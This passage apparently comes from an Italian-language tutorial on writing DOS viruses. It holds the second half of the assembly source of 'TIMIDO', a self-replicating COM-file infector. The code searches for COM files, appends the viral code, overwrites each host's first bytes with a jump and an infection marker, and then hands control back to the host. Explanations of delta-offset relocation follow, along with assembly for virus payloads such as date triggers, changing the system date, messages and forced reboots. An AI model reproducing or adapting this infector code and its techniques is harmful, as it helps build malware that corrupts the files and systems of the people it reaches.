; questo spostamento della DTA e' necessario perche' la routine di ricerca del file ; COM da infettare modifichera' la DTA corrente.

 

      mov dx,OFFSET DTA        ;mette la DTA alla fine del codice virus per ora

      mov ah,1AH               ;funzione 1A

      int 21H

 

      call TROVA_FILE            ;cerca un file da infettare

      jnz ESCI_VIRUS             ;ritorna nz ­ non ci sono files da infettare, esci

      call INFETTA               ;ci sono files COM... infetta

      mov dx,OFFSET FNAME        ;mostra il nome del file appena infettato

      mov WORD PTR [HANDLE],24H  ;la stringa deve terminare con w/ '$'

      mov ah,9                   ; funzione 9: stampa la stringa a video

      int 21H                    ;

 

ESCI_VIRUS:

 

; la routine principale passa il controllo al programma host.

; 1) ripristino la DTA al suo valore iniziale (indirizzo 80h)

 

      mov dx,80H                ;stabilisco l'indirizzi della DTA cosi' il prog.host

      mov ah,1AH                ;non fa confusione scrivendoci sopra 

      int 21H                  

 

; 2) muovo i bytes che erano originariamente i primi del suo host ospitante

;    prendendoli dall'area dati STAR_CODE e li rimetto all'indirizzo 100h. VIR_START

;    contiene l'indirizzo assoluto del primo byte del virus nel segmento di

;    programma VIRUS.

 

      mov bx,[VIR_START]        ;in bx indirizzo di partenza del virus

 

; metto in ax i primi dye bytes (WORD PTR) dopo l'indirizzo di INIZIO_CODICE

      mov ax,WORD PTR [bx+(OFFSET INIZIO_CODICE)­(OFFSET VIRUS)]

 

      mov WORD PTR [HOST],ax     ;ora il primi due bytes dopo INIZIO_CODICE sono in  

                                 ;HOST

    

; leggo i due bytes successivi (WORD PTR)

      mov ax,WORD PTR [bx+(OFFSET INIZIO_CODICE)­(OFFSET VIRUS)+2]

 

; e li inserisco in HOST+2

      mov WORD PTR [HOST+2],ax

 

; leggo il quinto e ultimo byte (BYTE PTR)

      mov al,BYTE PTR [bx+(OFFSET INIZIO_CODICE)­(OFFSET VIRUS)+4]

 

; e lo inserisco in HOST+4. All'inizio del file host ci sono i 5 bytes originari.

      mov BYTE PTR [HOST+4],al

 

      mov [VIR_START],100H      ;indirizzo di ritorno = 100h

 

; 3) ripasso il controllo all'host. L'istruzione ret pulisce lo stack

 

      ret                       ;ritorna all’host

 

;**********************************************************************************

; l'etichetta INIZIO_CODICE rappresenta l'indirizzo in cui verranno salvati i primi 

; 5 bytes del COM host quando il codice virale sara' ospitato da un COM su disco. 

; con il puntatore su INIZIO_CODICE, il virus eseguira' un INT21 40h (scrittura su

; file), con dx=indirizzo START_IMAGE (che punta ai 5 bytes iniziali del COM su

; disco) e cx= 5, ricoprendo i 5 bytes del codice virale che e' gia' stato appeso

; al COM sul disco con i 5 bytes iniziali. Ogni file infettato presente sul disco

; conterra' nelle locazioni dopo INIZIO_CODICE i primi 5 bytes salvati del COM

; ospitante dato che i primi 5 bytes sono stati sostituiti con un jump + 2 + 'V' +

; 'I' che utilizzera' il virus per saltare al suo stesso codice virale.

;**********************************************************************************

 

INIZIO_CODICE:                       ;qui vengono copiati i primi 5 bytes dall'host

      nop                      

      nop                      

      nop

      nop

      nop

 

;*******************************************************************************

; TROVA_FILE:

; cerca un file COM che passa il test di FILE_OK (z=1 OK, z=1 NO_OK)

; effettua una ricerca nella directory corrente

;*******************************************************************************

 

TROVA_FILE:

      mov dx,[VIR_START]

      mov cx,3FH                     ;cerca file con qualsisai attributi

      mov ah,4EH                     ;INT 21 funzione 4E: cerca il primo file

      int 21H

 

TROVA_LOOP:

 

; la funzione 4E ritorna un codice di errore in ax. Se il file viene trovato

; ax=0; altrimenti ax!=0. Effettuando un or di ax su se' stesso verifichiamo

; se e' azzerato oppure no. Nel caso ax=0, or imposta il flag z=1

 

      or al,al                       ;in ax codice di errore (al=1, flag zero=0)

      jnz TROVA_FATTO                ;z=0 non ci sono files

      call FILE_OK                   ;z=1, ok c'e' un file

 

; FILE_OK ritorna z=1 se c'e' un file buono da infettare, altrimenti torna z=0.

 

;nessun errore (al=0, flag zero=1)

      jz TROVA_FATTO                     ;ok ho trovato un file valido, esco con z=1

      mov ah,4FH                         ;non e' un file valido, cerco ancora

      int 21H                       

 

      jmp TROVA_LOOP                   

 

TROVA_FATTO:

      ret

 

;**********************************************************************************

; FILE_OK

; determina se il file COM specificato da FNAME e' utilizzabile

; se e' buono torna z=1, atrimenti z=0

; Un file utilizzabile:

; a) deve avere abbastanza spazio per appendergli  il virus senza eccedere i 64 K;

; b) i Bytes 0, 3 e 4 del file non devono essere un near jump, e 'V','I'

;**********************************************************************************

 

FILE_OK:

      mov dx,OFFSET FNAME            ;apro il file in r/w

      mov ax,3D02H                  

      int 21H

 

      jc FOK_NZEND                   ;errore in apertura - il file non e' buono

 

; il file e' buono

      mov bx,ax                      ;metto l'handle in bx

      push bx                        ;e lo salvo nello stack

      mov cx,5                       ;leggo i primi 5 bytes all'inizio del COM

      mov dx,OFFSET START_IMAGE      ;e li salvo in START_IMAGE

      mov ah,3FH                    

      int 21H

 

      pop bx                         ;ripristino bx (l'handle del file)

      mov ah,3EH                     ;chiudo il file 

      int 21H                        ;

 

;controllo la dimensione utile utilizzando il flag di overflow

 

      mov ax,WORD PTR [FSIZE]                ;in ax la misura del fil host

      add ax,OFFSET FINEVIRUS ­ OFFSET VIRUS ;aggiungo la misura del virus

      jc FOK_NZEND                           ;se carry=1, overflow (>64K) esco con

                                             ;z=0

 

      cmp BYTE PTR [START_IMAGE],0E9H       ;misura ok ­ il primo byte e' un near

                                            ;jmp ?

      jnz FOK_ZEND                          ;flag z non zero, si puo' infettare

 

      cmp WORD PTR [START_IMAGE+3],4956H    ;ok, nei bytes 3 e 4 c'e' 'VI' ?

      jnz FOK_ZEND                          ;flag z non zero, no si puo' infettare

 

FOK_NZEND:                                  ;non trovato file buono

      mov al,1                              ;non infettare il file (al=1,flag zero=0)

      or al,al                              ;ritorno con flag z=0

      ret

 

FOK_ZEND:                                   ;trovato un file buono (al=0, flag zero=1)

      xor al,al                             ;ok infettiamo, torna con z=1

      ret

 

;**********************************************************************************

; INFETTA

; copia il codice virale alla fine del file COM (append)

; agiusta i primi 5 bytes del programma e i primi 5 bytes in memoria

;**********************************************************************************

 

INFETTA:

      mov dx,OFFSET FNAME                   ;apro il file in r/w

      mov ax,3D02H                          

      int 21H

 

      mov WORD PTR [HANDLE],ax              ;savo l'handle

      xor cx,cx                             ;pulisco cx per il puntatore

      mov dx,cx                             ;posizione del puntatore al file

                                            ;cx:dx = puntatore = 0

      mov bx,WORD PTR [HANDLE]

      mov ax,4202H                          ;puntatore alla fine del file

      int 21H

 

      mov cx,OFFSET ULTIMO_BYTE ­ OFFSET VIRUS    ;ora scrivo il codice virus,

                                                  ;cx=numero bytes

      mov dx,[VIR_START]                          ;ds:dx = locazione in memoria da

                                                  ;cui copio

      mov bx,WORD PTR [HANDLE]                    ;bx = file handle

      mov ah,40H                                  ;scrivo

      int 21H

 

; ora devo salvare i primi 5 bytes e memorizzati in START_IMAGE

; prima di tutto posiziono il puntatore dove c'e' INIZIO_CODICE nel nuovo virus

 

      xor cx,cx                            

      mov dx,WORD PTR [FSIZE]              

      add dx,OFFSET INIZIO_CODICE ­ OFFSET VIRUS

      mov bx,WORD PTR [HANDLE]             

      mov ax,4200H                          ; posiziono il puntatore

      int 21H

 

      mov cx,5                              ;scrivo INIZIO_CODICE nel file

      mov bx,WORD PTR [HANDLE]              ;dati che ho ottenuto durante

      mov dx,OFFSET START_IMAGE             ;la funzione FILE_OK e memorizzati

      mov ah,40H                            ;in START_IMAGE

      int 21H

 

; ora torno all'inizio dell'host per scrivere l'istruzione di salto

 

      xor cx,cx                            

      mov dx,cx                             

      mov bx,WORD PTR [HANDLE]

      mov ax,4200H                          ;posiziono il puntatore

      int 21H

 

; preparo il codice dell'istruzione di salto e degli altri bytes

 

      mov bx,[VIR_START]                        ;calcolo la locazione del jump

      mov BYTE PTR [START_IMAGE],0E9H           ;il codice per un near jump e' E9

      mov ax,WORD PTR [FSIZE]                   ;e il relativo indirizzo

      add ax,OFFSET INIZIO_VIRUS­OFFSET VIRUS­3 ;questi vanno a START_IMAGE

      mov WORD PTR [START_IMAGE+1],ax

      mov WORD PTR [START_IMAGE+3],4956H        ;e ci metto 'VI'

 

; ok scrivo i 5 bytes di START_IMAGE

 

      mov cx,5                             

      mov dx,OFFSET START_IMAGE             ;ds:dx = puntatore a START_IMAGE

      mov bx,WORD PTR [HANDLE]              ;file handle

      mov ah,40H                            ;

      int 21H

 

      mov bx,WORD PTR [HANDLE]              ;ULTIMO_BYTEmente tiro fuori l'handle

                                            ;dallo stack

      mov ah,3EH                            ;chiudo il file

      int 21H

 

      ret                                   ;ok il virus e' trasferito

 

ULTIMO_BYTE: ;etichetta per l'ultimo byte del codice virus per la copia

 

 

      FINEVIRUS EQU $ + 212 ;label per determinare lo spazio utilizzato dal virus

 

;Nota: 212 = FFFF ­ FF2A ­ 1 = misura dello spazio dati

; $ fornisce la misura approssimata del codice virus

 

      ORG 0FF2AH

      DTA DB 1AH dup (?)        ;area di lavoro per la funzione di ricerca

      FSIZE DW 0,0              ;area di salvataggio misura del file

      FNAME DB 13 dup (?)       ;area per il path del file

      HANDLE DW 0               ;file handle

      START_IMAGE DB 0,0,0,0,0  ;area per memorizzare i 5 bytes da rd/wrt nel file

      VSTACK DW 50H dup (?)     ;stack per il virus

      VIR_START DW (?)          ;indirizzo di inizio di VIRUS (ricopre lo stack)

      MAIN ENDS

      END HOST

; fine sorgente di TIMIDO

;***********************************************************************************

 

 

5. I VIRUS COM INFETTORI – PROBLEMATICHE E PECULIARITA’

 

1. Variabili e salti – problema della rilocazione delle variabili nei virus non sovrascrittori

 

Le variabili sono salvate con indirizzi assoluti, mentre i salti sono relativi all’attuale IP. Un esempio:

 

0100 EB07   JMP 109          ; codice EB di un jmp short. EB07 salta al 7° byte

0103 90       NOP            ; contando dalla fine del JMP

0104 90       NOP             

0105 90       NOP           

0106 90       NOP

0107 90       NOP

0108 90       NOP

0109 90       NOP            ; ß salta qui

 

In alter parole, il salto (JMP), così come l’istruzione (CALL) non soffrono il problema dello spostamento degli indirizzi , dato che essi salteranno x bytes prima o x bytes dopo la posizione attuale. Ma per le variabili è un’altra questione. Esse si riferiscono ad indirizzi assoluti.

 

Esempio:

 

model tiny

code

org 100h

 

Fool: in ax,40h

      mov word ptr [number],ax

      int 20h

      number dw 0

End Fool

 

Questo programma può essere compilato nel seguente modo:

 

0100 E540           IN AX,40

0102 A330701        MOV [107],AX

0105 CD20           INT 20

0107 0000           ADD [BX+SI],AL

 

Come si può notare, la variabile di tipo word occuperà gli indirizzi assoluti 107h e 108h quando sarà caricata in memoria. Gli indirizzi vengono scritti direttamente nella istruzione A3300701. 0701 = 0107 perché l’Intel memorizza i bytes al contrario.

Quando noi scriviamo il nostro virus e appendiamo il suo codice ad un COM su disco, tutte le nostre variabili così compilate avranno un indirizzamento errato; infatti noi avremo nel virus

 

mov word ptr [number],ax                ; A3300701

 

Quando noi riceviamo il controllo a questo punto, e salviamo il contenuto del registro AX all’indirizzo 107h e 108h andremo a sovrascrivere il codice del virus stesso o del COM ospitante. Se il COM che ci apprestiamo ad infettare avesse le stesse dimensioni del COM a cui è attaccato attualmente il virus non ci sarebbe alcun problema. Ma nel 99% dei casi ci troveremo di fronte a files COM con dimensioni diverse.

Ciò di cui abbiamo bisogno è uno scartamento “delta” da aggiungere agli indirizzi di tutte le nostre variabili, uno “shifting” che aggiunto al valore di indirizzamento assoluto delle variabili del virus compilato puntino in maniera esatta.

Per ottenere questo “delta offset” esistono vari metodi, ma il più comune è il seguente:

 

Call Delta

Delta:

pop bp

sub bp,offset Delta

(codice virus)

ret

 

L’istruzione CALL deposita nello stack l’indirizzo della prossima istruzione che sarà eseguita dopo l’istruzione RET. Ciò che noi facciamo è richiamare questo indirizzo dallo stack e salvarlo nel registro BP e sottrarre a questo indirizzo l’indirizzo della subroutine DELTA. In questa maniera abbiamo ottenuto lo scartamento necessario che dovrà essere aggiunto alle nostre variabili. Alla prima esecuzione del virus il valore di BP sarà zero, ma in un COM ospitante infettato questo valore cambierà, come si nota nei seguenti esempi:

 

prima esecuzione del virus:

 

105: call Delta            ; in stack 108

108: Delta                 ; indirizzo originale calcolato in fase di compilazione

110: pop bp                ; bp = 108

112: sub bp, offset Delta  ;108 -108 = 0

….

134: ret

 

n-esima esecuzione del virus (l’host è più grande di 10 bytes)

 

115: call Delta             ; in stack 118

118: Delta                  ;indirizzo originale calcolato in fase di compilazione

120: pop bp                 ; bp = 118

132: sub bp, offset Delta   ;118 -108 = 10

….

144: ret

 

in questo caso delta = 10

 

A questo punto noi possiamo utilizzare tutti i registri indice di cui disponiamo (BX,SI,DI or BP), ma sempre con l’indirizzamento indiretto. Quindi, invece di

 

mov word ptr [number],ax

      mov si,offset Buffer

 

noi useremo:

 

       mov word ptr [bp+number],ax

      lea si,[bp+offset Buffer]

 

 

L’assemblatore compilerà il .COM calcolando tutti gli indirizzi della variabili correttamente.

 

 

2. Payload

 

 

Cosa fanno i virus oltre ad autoreplicarsi ? ecco alcuni esempi di “payload”, routine che sono dedicate a rivelare la presenza del virus.

 

a) controlli di data

 

In molti casi il payload parte ad un certo punto nel tempo. Questo payload è ottenuto con una "date-checking-routine" nel codice:

   

   date_checking:

   mov ah,2ah                 ;legge la data

   int 21h                    ;

   cmp cx,dh,dl,al            ;cx=anno(1980-2099),dh=mese,dl=giorno,al=giorno della

                              ;settimana. i numeri devono essere in esadecimale

   je/jne                     ;jump se uguale/no uguale                             

   

La funzione "mov ah,2ah" ritorna la data. output:

   

       CX   - ano (da 1980 a 2099)

       DH   - mese (1-12)

       DL   - giorno del mese (1-31)

       AL   - giorno della settimana (1h=lunedi,2h=martedi,3h=mercoledi...)

   

Vengono confrontati i dati in output nei registri con il valore "payload-wanted" richiesto. La data deve essere in esadecimale

 

esempio di un payload che viene lanciato ogni Venerdì 21:

 

   

   mov ah,2ah                 ;leggo la data

   int 21h                    ;

   cmp al,005h                ;è venerdi ?

   jne infect                 ;no, infetta

   cmp dh,15h                 ;è il 21 ? (21 è 15 in hex)

   jne infect                 ;jump a infettare se non è il 21

   payload:

   ....

   infect:

   

Con le ore, i minuti e i secondi…

  

   mov ah,2Ch                 ;rileva l’ora

   int 21h                    ;

   cmp al,cl,dh...            ;AL=ore,CL=minuti,DH=secondi,

   JE/JNE                     ;poi usa JMPs per attivare il payload

   

 

La varietà di JMP fornisce diverse possibilità. Ecco i JMP più comuni:

   

    JNE     Jump if Not Equal

    JE      Jump if Equal

    JMP     Jump  

    JA      Jump if Above 

    JB      Jump if Below 

    JAE     Jump if Above or Equal

    JBE     Jump if Below or Equal

    JNA     Jump if Not Above

    JLE     Jump if Less or Equal

    JL      Jump if Less

    JZ      Jump if Zero

    JNZ     Jump if not Zero

 

   

b) Un’altra routine controlla la versione DOS:

   

   mov ax,3030h              ;legge la versione DOS

   int 21h                   ;

   cmp al, 00h,01h,...       ;la veriosne è ritornata in AL

   JE/JNE                    ;usa JMP's per attivare il payload

   

versioni DOS :  00h = Versione 1, 01h = Versione 2, 02h = Versione 3 etc.

 

 

c) Il settaggio di una nuova data usa la seguente routine:

 

   

   mov ah,2bh          ;setta la data di distema

   mov cx,dh,dl,al     ;metti qui la tua data (vedi sopra per cx,dh....)

   int 21h             ;   

 

 

d) Il Beep del pc-speaker:

   

   pc_speaker_beep_routine:

   mov cx, 50                 ;numero di beeps in CX

   mov ax, 0e07h              ;initializza lo speaker...

   int 10h                    ;

   

 

e) Questa mostra un messaggio sullo schermo:

   

   show_message_on_screen:

   mov ah,9h                  ;mostra testo    

   lea dx, message            ;dx=messaggio (e.g message db 'ciao',10,13,'$')

   int 21h                     

 

 

f) E questa stampa un messaggio sulla stampante:

   

   mov ah,01h         ;funzione printer

   mov dx,0h          ;metto 0h in dx

   int 17h            ;questo interrupt initializza la stampante

   lea si,text1       ;metto text1 in si

   mov cx,text1Len    ;muovo text1len in cx

PrintStr:

   mov ah,00h         ;scrivo caratteri

   lodsb              ;carico stringoperand in accumulatore

   int 17h            ;printer interrupt

   loop PrintStr      ;loops printstr fino a…

      

   text1Len       EQU EndStr1-String1

   text1     db  'testo stampato',0dh,0ah,'$'

                 

EndStr1:

   

 

g) Questo payload crea una directory:

   

   create_directory:

   mov ah,39h                 ;funzione crea nuova directory

   lea dx, dirname1           ;dx=nome directory (es. dirname1 db 'DOS',0)

   int 21h                    ;

   

Nome directory massimo 8 caratteri.

 

h) E questo crea un un file:

 

 

   create_new_file:

   mov ah,5bh                 ;funzione crea nuovo file (e lo apre)

   lea dx, filename           ;metto il nome file in dx (es.filename db

                              ;'hello.txt',0)

   mov cx, 00h                ;metto file attribute in cx

   int 21h                    ;

   close_file:                ;devo chiudere il dopo creating/opening

   mov ah,3eh                 ;funzione close file

   int 21h                    ;

   

Come da commento è necessario inserire gli attributi del file in cx:

   

   Read Only:     01h

   Hidden:          02h

   System File:   04h

   Volume ID:    08h

   Directory:      10h

   Archive:        20h

   none:            00h

   

 

i) reboot

 un payload molto utilizzato (ma non distruttivo come comunemente si ritiene) è il reboot del sistema. Viene chiamato l’Int 19h invece di passare il controllo al DOS back (Int 20h).